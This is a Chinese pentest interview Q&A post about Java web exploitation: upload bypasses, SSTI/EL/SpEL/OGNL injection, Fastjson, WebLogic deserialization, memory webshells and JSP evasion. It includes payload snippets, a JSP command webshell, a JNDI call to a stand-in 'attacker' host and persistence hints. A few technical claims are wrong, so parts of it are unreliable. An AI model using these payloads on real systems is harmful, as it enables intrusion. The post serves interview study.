2025年渗透测试面试题总结-奇安信[校招]奇安信观星实验室(题目+回答)

article/2025/7/23 2:25:09

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 奇安信[校招]奇安信观星实验室

1. 跟过的大型应用软件CVE漏洞

2. 容器虚拟化漏洞研究

3. 系统审计案例与漏洞分析

4. 鉴权与路由分发漏洞

5. 文件上传漏洞绕过(限制.jsp/.jspx)

6. 上传War包、JAR包与SSTI结合利用

7. Spring Boot源码审计方向

8. Spring Boot+MySQL+Linux深度利用场景

9. 模板引擎注入(Thymeleaf)与表达式审计

10. 表达式注入(EL/SpEL)触发方法

11. Java任意代码执行触发点

12. Fastjson加载JSON流程

13. Fastjson特性与WAF绕过

14. Shiro头过大绕过与Nginx代理影响

15. Weblogic T3协议反序列化触发点

16. 原生反序列化触发点

17. 内存马注入流程与持久化

18. JSP免杀思路与标签绕过

 奇安信[校招]奇安信观星实验室

1. 跟过什么大型应用软件的cve漏洞
2. 容器虚拟化方面的漏洞研究过吗
3. 说一些你审计过的系统,挑一两个漏洞讲讲
4. 鉴权、路由分发
5. 场景:存在一个文件上传漏洞,后缀限制了jsp,jspx,怎么解决,从一些中间件的特性考虑
6. (上传war包,tomcat自动部署、上传jar包、上传html结合SSTI漏洞)
7. 场景:给你一个spring boot搭建的源码,怎么审计出能够深入利用的漏洞
8. 场景:spring boot+mysql+linux的应用怎么审,能够造成最大利用程度
9. 模版引擎注入(thymeleaf) 、表达式注入,怎么审
10. 表达式注入、el、spel等 的触发方法
11. Java中哪些能造成任意代码执行
12. 说一下fastjson加载json的流程
13. fastjson有哪些特性,如何借助这些特性去做一个waf的绕过
14. shiro绕过请求头内容过大,如果在tomcat前有一个nginx做转发呢
15. weblogic t3协议反序列化漏洞的触发点是什么
16. 原生反序列化触发点除了readObject,还有什么
17. 内存马注入的流程,持久化
18. jsp免杀的思路展开谈谈,拦截了jsp的标签,怎么办. 

1. 跟过的大型应用软件CVE漏洞

列举(控制在10个以内)

  1. CVE-2021-44228(Log4Shell):Log4j2 JNDI注入导致RCE,影响广泛(如VMware、Apple iCloud)。
  2. CVE-2021-41773(Apache HTTP Server路径穿越):未正确过滤路径,允许访问非公开文件。
  3. CVE-2022-22963(Spring Cloud Function SpEL注入):函数路由参数未过滤,远程代码执行。
  4. CVE-2023-20861(VMware Aria Operations反序列化):利用Java反序列化链攻陷管理后台。
  5. CVE-2023-27997(FortiGate SSL-VPN堆溢出):未认证远程代码执行,用于APT攻击。
  6. CVE-2022-36537(Smartbi未授权访问):绕过权限校验直接操作数据库。

2. 容器虚拟化漏洞研究

研究方向与案例

  • 容器逃逸
    1. CVE-2019-5736(runC漏洞):恶意容器覆盖宿主机runC二进制文件实现逃逸。
    2. CVE-2020-15257(containerd-shim API暴露):通过抽象命名空间Unix Socket提权。
  • 镜像污染:供应链攻击注入恶意层(如恶意Python库)。
  • 防护方案:Seccomp策略限制系统调用、AppArmor/SELinux强制访问控制。

3. 系统审计案例与漏洞分析

案例1:某OA系统鉴权逻辑漏洞

  • 漏洞点:权限校验仅依赖前端隐藏字段isAdmin=1,后端未校验会话角色。
  • 利用:修改请求参数越权访问管理接口,直接删除用户。
  • 修复:后端增加RBAC校验,结合JWT令牌存储角色信息。

案例2:Spring Boot Actuator未授权访问

  • 漏洞点management.endpoints.web.exposure.include=* 暴露所有端点。
  • 利用:通过/actuator/env获取数据库密码,结合/actuator/restart触发配置重置。
  • 修复:限制暴露端点、启用Spring Security鉴权。

4. 鉴权与路由分发漏洞

常见问题

  1. 鉴权绕过
    • 路径白名单绕过(如/api/../public解析为/public)。
    • JWT令牌未校验签名或使用弱密钥(如HMAC-SHA256密钥为secret)。
  2. 路由分发缺陷
    • 未限制HTTP方法(如GET请求触发POST逻辑)。
    • 路径参数注入(如/user/{id}未校验id权限)。

5. 文件上传漏洞绕过(限制.jsp/.jspx)

中间件特性绕过方案

  1. Tomcat
    • 后缀大小写混合.JsP.JSPx(Windows不敏感)。
    • 特殊字符截断shell.jsp%20 (空格截断)。
  2. Nginx + PHP-FPM
    • 解析漏洞shell.jsp.jpg 被PHP-FPM解析为PHP(需fastcgi_split_path配置错误)。
  3. IIS
    • 分号截断shell.asp;.jpg 被解析为ASP。
  4. 上传为压缩包
    • WAR包自动部署(Tomcat的webapps目录监测)。
    • JAR包利用Spring Boot FatJar特性加载恶意类。

6. 上传War包、JAR包与SSTI结合利用

  • War包上传到Tomcat
    bash# 生成含JSP Webshell的War包 jar -cvf shell.war shell.jsp # 上传至http://target:8080/manager/html部署 
  • JAR包利用
    • Spring Boot加载外部JAR时执行static{}代码块。
  • HTML + SSTI
    • 上传HTML文件插入Thymeleaf表达式(如${T(java.lang.Runtime).getRuntime().exec('calc')} )。

7. Spring Boot源码审计方向

深度利用漏洞挖掘步骤

  1. 依赖扫描:检查pom.xml 中易受攻击库(如Fastjson 1.2.24)。
  2. Actuator端点
    • /actuator/heapdump泄露内存敏感数据。
    • /actuator/mappings暴露路由信息。
  3. 反序列化入口
    • HTTP参数解析(如@RequestBody接收JSON)。
    • Redis/JMS消息队列消费者使用ObjectInputStream
  4. SPEL表达式注入
    • 检查@PreAuthorize@Value注解中的动态表达式。

8. Spring Boot+MySQL+Linux深度利用场景

最大化利用路径

  1. 数据库渗透
    • 通过JDBC URL漏洞(如MySQL allowLoadLocalInfile读取客户端文件)。
    • 导出数据库备份至Web目录下载。
  2. Linux提权
    • 利用SUID程序(如find、vim)提权到root。
    • 写定时任务反弹Shell(/etc/cron.d/)。
  3. 横向移动
    • 通过MySQL账户密码爆破内网其他服务。

9. 模板引擎注入(Thymeleaf)与表达式审计

审计方法

  1. 模板动态拼接
    • 查找templateEngine.process(userInput) 未过滤的调用点。
  2. 表达式类型
    • 预处理表达式__${...}__可能直接执行。
    • URL参数渲染<a th:href="@{${path}}">path可控。
  3. 沙盒绕过
    • 利用内置工具类(如T(org.apache.tomcat.util.codec.binary.Base64) )。

10. 表达式注入(EL/SpEL)触发方法

触发点与Payload

  • EL表达式(JSP)
    jsp${pageContext.request.getParameter("a").getClass().forName("java.lang.Runtime").getMethod("exec",...).invoke(...)} 
  • SpEL(Spring)
    java// 漏洞代码 @Value("#{${userInput}}") // Payload T(java.lang.Runtime).getRuntime().exec("calc") 
  • OGNL(Struts2)
    %{(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('id'))}   
    

11. Java任意代码执行触发点

常见触发链

  1. 反射调用
    javaClass.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "calc"); 
  2. JNDI注入InitialContext.lookup("ldap://attacker/Exploit")
  3. 反序列化ObjectInputStream.readObject() 触发链(如CommonsCollections)。
  4. Groovy引擎:动态执行Groovy脚本。

12. Fastjson加载JSON流程

关键步骤

  1. 解析入口JSON.parse()JSON.parseObject()
  2. 自动类型推断:通过@type指定反序列化类(如{"@type":"com.sun.rowset.JdbcRowSetImpl"...} )。
  3. Setter/Getter调用:根据JSON键名调用对象的setter或直接赋值字段(需Feature.SupportNonPublicField)。
  4. 漏洞触发JdbcRowSetImplsetDataSourceName()触发JNDI查找。

13. Fastjson特性与WAF绕过

特性利用

  1. Unicode编码\u0040type绕过@type关键字过滤。
  2. 注释干扰///**/分割敏感字符(如{"@ty/**/pe":"..."})。
  3. 多层嵌套:利用$ref循环引用绕过深度检测。
  4. 非公开字段赋值:启用SupportNonPublicField绕过Setter校验。

14. Shiro头过大绕过与Nginx代理影响

场景分析

  • Shiro头限制:默认Cookie头长度限制(4KB),超长会报错。
  • 绕过方法:利用Nginx的large_client_header_buffers配置错误,分割恶意Cookie为多个头字段。
  • Payload构造
    httpCookie: JSESSIONID=xxx Cookie: rememberMe=加密后的超长Payload 

15. Weblogic T3协议反序列化触发点

触发流程

  1. T3协议通信:客户端与服务端通过序列化对象交互。
  2. 入口类weblogic.rjvm.ClassTableEntry 解析接收的类。
  3. 漏洞点:未校验反序列化类,加载恶意AnnotationInvocationHandler触发链。
  4. 利用工具:ysoserial的CommonsCollections链生成Payload。

16. 原生反序列化触发点

readObject()

  1. readResolve():反序列化完成后自动调用。
  2. readExternal():实现Externalizable接口时的自定义反序列化逻辑。
  3. Serializable代理ObjectInputStream.resolveProxyClass() 加载动态代理类。

17. 内存马注入流程与持久化

注入流程

  1. 选择注入点:如Tomcat的Filter、Servlet或Spring的Controller。
  2. 动态注册组件
    • Tomcat Filter:通过StandardContext.addFilter() 插入恶意Filter。
  3. 持久化
    • 写文件:注入启动脚本(如rc.local )。
    • 注册表:Windows下写入HKCU\Software\Microsoft\Windows\CurrentVersion\Run

18. JSP免杀思路与标签绕过

免杀方法

  1. 标签替换:使用<%! %>声明类或<%= %>表达式替代<% %>代码块。
  2. 编码混淆:Hex编码关键字符(如<\u003c)。
  3. 反射调用
    jsp<% Runtime.getRuntime().exec(request.getParameter("cmd")); %> → 改为 <% Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd"); %> 
  4. 静态资源伪装:将JSP后缀改为.css,结合容器解析漏洞(如Tomcat的/servlet/映射)。

http://www.hkcw.cn/article/BbacSmfyJe.shtml

相关文章

郑钦文法网对阵萨巴伦卡 山海皆可平

6月1日,在法国网球公开赛女单第四轮比赛中,中国选手郑钦文以2比1战胜俄罗斯选手萨姆索诺娃,首次闯入法网女单8强。赛后,郑钦文发文:“人都应该有梦,有梦就别怕痛,是一颗宝石就该闪烁”,并鼓励大家勇敢追梦。在另一场1/8决赛中,头号种子萨巴伦卡把握住第八个赛点,以7-…

英首相称将恢复英国战备状态 提升武器生产能力至战时水平

英国首相基尔斯塔默表示,将恢复英国的“战备状态”,以此作为武装部队的核心目标。他表示,英国将把武器生产能力提升至战时水平。斯塔默在《太阳报》刊文称,英国正面临一个更加危险的世界,现在是时候改变保卫这些岛屿的方式了。斯塔默强调,英国将直面这一时刻,采取大多数…

动态规划第二弹:路径类问题(不同路径,珠宝的最高价值,地下城游戏)

目录 前言 1. 不同路径 &#xff08;1&#xff09;题目及示例 &#xff08;2&#xff09;解题思路 &#xff08;3&#xff09;代码 2. 珠宝的最高价值 &#xff08;1&#xff09;题目及示例 &#xff08;2&#xff09;解题思路 &#xff08;3&#xff09;代码 3. 地下…

LabVIEW双光子显微镜开发

基于LabVIEW 开发高性能双光子显微镜系统&#xff0c;聚焦于生物样本深层成像与纳米材料三维表征。实现了超快激光控制、多维数据采集与实时图像重建。系统采用飞秒激光光源与高精度振镜扫描模块&#xff0c;结合 LabVIEW 的 FPGA 实时控制能力&#xff0c;可对活体组织、荧光纳…

C++校园植树节活动 全国信息素养大赛复赛决赛 C++小学/初中组 算法创意实践挑战赛 内部集训模拟题详细解析

C++校园植树节活动 全国信息素养大赛 C++复赛/决赛模拟训练题 博主推荐 所有考级比赛学习相关资料合集【推荐收藏】1、C++专栏 电子学会C++一级历年真题解析电子学会C&#

题海拾贝:压缩字符串

Hello大家好&#xff01;很高兴我们又见面啦&#xff01;给生活添点passion&#xff0c;开始今天的编程之路&#xff01; 我的博客&#xff1a;<但凡. 我的专栏&#xff1a;《编程之路》、《数据结构与算法之美》、《题海拾贝》、《C修炼之路》 欢迎点赞&#xff0c;关注&am…

Golang——3、流程控制语句

流程控制语句 1、if-else(分支语句)2、for(循环语句)3、for range(键值循环)4、switch-case(分支语句)5、break跳出循环6、continue(跳过本次循环)7、goto(跳转到指定标签) Go语言中最常用的流程控制有if和for&#xff0c;而switch和goto主要是为了简化代码、降低重复代码而生的…

第14讲、Odoo 18 实现一个Markdown Widget模块

目录 模块概述安装与配置前端实现详解依赖库分析使用示例与最佳实践技术架构与设计模式分析总结 模块概述 模块地址https://apps.odoo.com/apps/modules/18.0/web_widget_markdown Odoo 18 Markdown Widget 是一个为 Odoo 18.0 社区版开发的全局通用模块&#xff0c;它允许…

乌方袭击俄机场画面曝光 乌克兰最大胆军事行动

乌克兰官员周日宣布,乌克兰军队对俄罗斯境内深处的多个军用机场发动了大规模无人机袭击。这些机场是用于进行空袭的战略轰炸机基地,这次行动被认为是自俄乌冲突爆发以来乌克兰军队最大胆的军事行动之一。乌克兰安全局官员透露,此次代号为“蛛网”的袭击行动历时一年半准备。…

22. Generate Parentheses

题目描述 22. Generate Parentheses 回溯法 class Solution {vector<string> res;string cur; public:vector<string> generateParenthesis(int n) {backtrack(n,0,0);return res;}void backtrack(int n,int left_count,int right_count){if(cur.size() 2*n){…

DRW - 加密市场预测

1.数据集描述 在本次比赛中&#xff0c;数据集包含加密市场的分钟级历史数据。您的挑战是预测未来的加密货币市场价格走势。这是一项kaggle社区预测竞赛&#xff0c;您可以以 CSV 文件的形式或通过 Kaggle Notebooks 提交您的预测。有关使用 Kaggle Notebooks 的更多详细信息&a…

Pcie6.0连接器协会规格及测试要求

Pcie6.0连接器协会规格及测试要求&#xff1a; 4 GT/s 原始数据速率和高达 256 GB/s&#xff08;通过 x16 配置&#xff09;。 具有 4 级 (PAM4) 信号的脉冲幅度调制&#xff0c;并利用行业中已有的现有 PAM4。 轻量级前向纠错 (FEC) 和循环冗余校验 (CRC) 可减轻与 PAM4 信令…

VSCODE

keil环境配置 插件安装配置 Embedded IDE插件&#xff1a;编译stm32 &#xff0c;nxp等芯片 进入Embedded IDE配置&#xff1a;keil 配置配置下载参数 安装工具 烧录工具 烧录配置 gcc编译工具 下载最新的gcc&#xff1a;GCC 下载安装-CSDN博客GCC 下载安装-CSDN博客GCC 下载…

PgMP管理过程交付物-相关方参与计划

相关方参与计划&#xff1a; 4W1H相关方参与计划What(做什么)项目集收益移交计划规定了项目集相关方在整个项目集持续期间将如何参与Why(为什么做)项目集相关方参与规划规定了项目集相关方在整个项目集持续期间将如何参与Who(谁来做) 负责人&#xff1a;项目集经理 批准&#…

【MySQL】索引特性

文章目录 一、初始索引二、MySQL与储存三、软件理解四、Page五、聚簇/非聚簇索引六、索引操作1.创建主键索引2.创建唯一索引3.创建普通索引4.查询索引5.删除索引 一、初始索引 索引的核心工作是提高数据库性能的&#xff0c;MySQL的服务器&#xff0c;本质是在内存中的&#x…

机器学习----决策树

一、决策树简介 from sklearn.tree import DecisionTreeClassifier from sklearn.tree import plot_tree 决策树是一种树形结构&#xff0c;树中每个内部节点表示一个特征上的判断&#xff0c;每个分支代表一个判断结果的输出&#xff0c;每个叶子节点代表一种分类结果。 决…

天问二号问天之旅第一站拜访谁 探秘地球准卫星

我国行星探测工程天问二号探测器在西昌卫星发射中心成功发射,开启了“问天”之旅。这次任务的目标之一是小行星2016HO3。根据命名规则,这个名称包含了发现年份、时间段和顺序的信息。选择探测小行星2016HO3的原因在于它保留了太阳系诞生之初的原始信息,是研究太阳系早期物质…

WebStorm创建文件和目录

目录 创建文件和目录创建空文件从模板创建文件创建目录 创建文件和目录 创建空文件 在“项目”工具窗口中&#xff0c;选择要在其中创建文件的目录&#xff0c;按 Alt Insert&#xff0c;然后从列表中选择“File”。在打开的“New File”对话框中&#xff0c;输入文件名和扩…

【js逆向】信息公示平台搜索滑块逆向

目标&#xff1a;实现搜索后&#xff0c;滑块验证&#xff0c;得到结果。 网站&#xff1a;aHR0cHM6Ly94eGdzLmNoaW5hbnBvLm1jYS5nb3YuY24vZ3N4dC9uZXdMaXN0 1. 输入搜索关键字&#xff0c;触发滑块验证 a和b后面要用到的参数&#xff0c;c中的cutImage和oriImage是背景和缺口…

笔试模拟 day16

观前提醒&#xff1a; 笔试所有系列文章均是记录本人的笔试题思路与代码&#xff0c;从中得到的启发和从别人题解的学习到的地方&#xff0c;所以关于题目的解答&#xff0c;只是以本人能读懂为目标&#xff0c;如果大家觉得看不懂&#xff0c;那是正常的。如果对本文的某些知…